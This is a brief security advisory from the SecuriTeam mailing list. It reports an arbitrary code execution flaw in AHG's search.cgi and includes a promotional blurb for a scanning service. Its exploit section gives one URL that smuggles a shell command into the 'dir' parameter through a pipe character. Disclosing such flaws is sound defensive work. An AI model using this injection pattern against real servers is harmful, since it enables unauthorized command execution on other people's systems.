The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Bug in AHG Search Engines Leads to Code Execution

SUMMARY

AHG's <http://www.ahg.com/software_frame.htm#searchengines> Search Engine can search sites with a maximum of 500 – 800 pages. A security vulnerability in the product allows execution of arbitrary code.

DETAILS

Exploit:

For example, to list the current directory:

<http://www.example.com/cgi-bin/publisher/search.cgi?dir=jobs|s|>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:xakepsin@quake.ru>> Aleksey Sintsov.
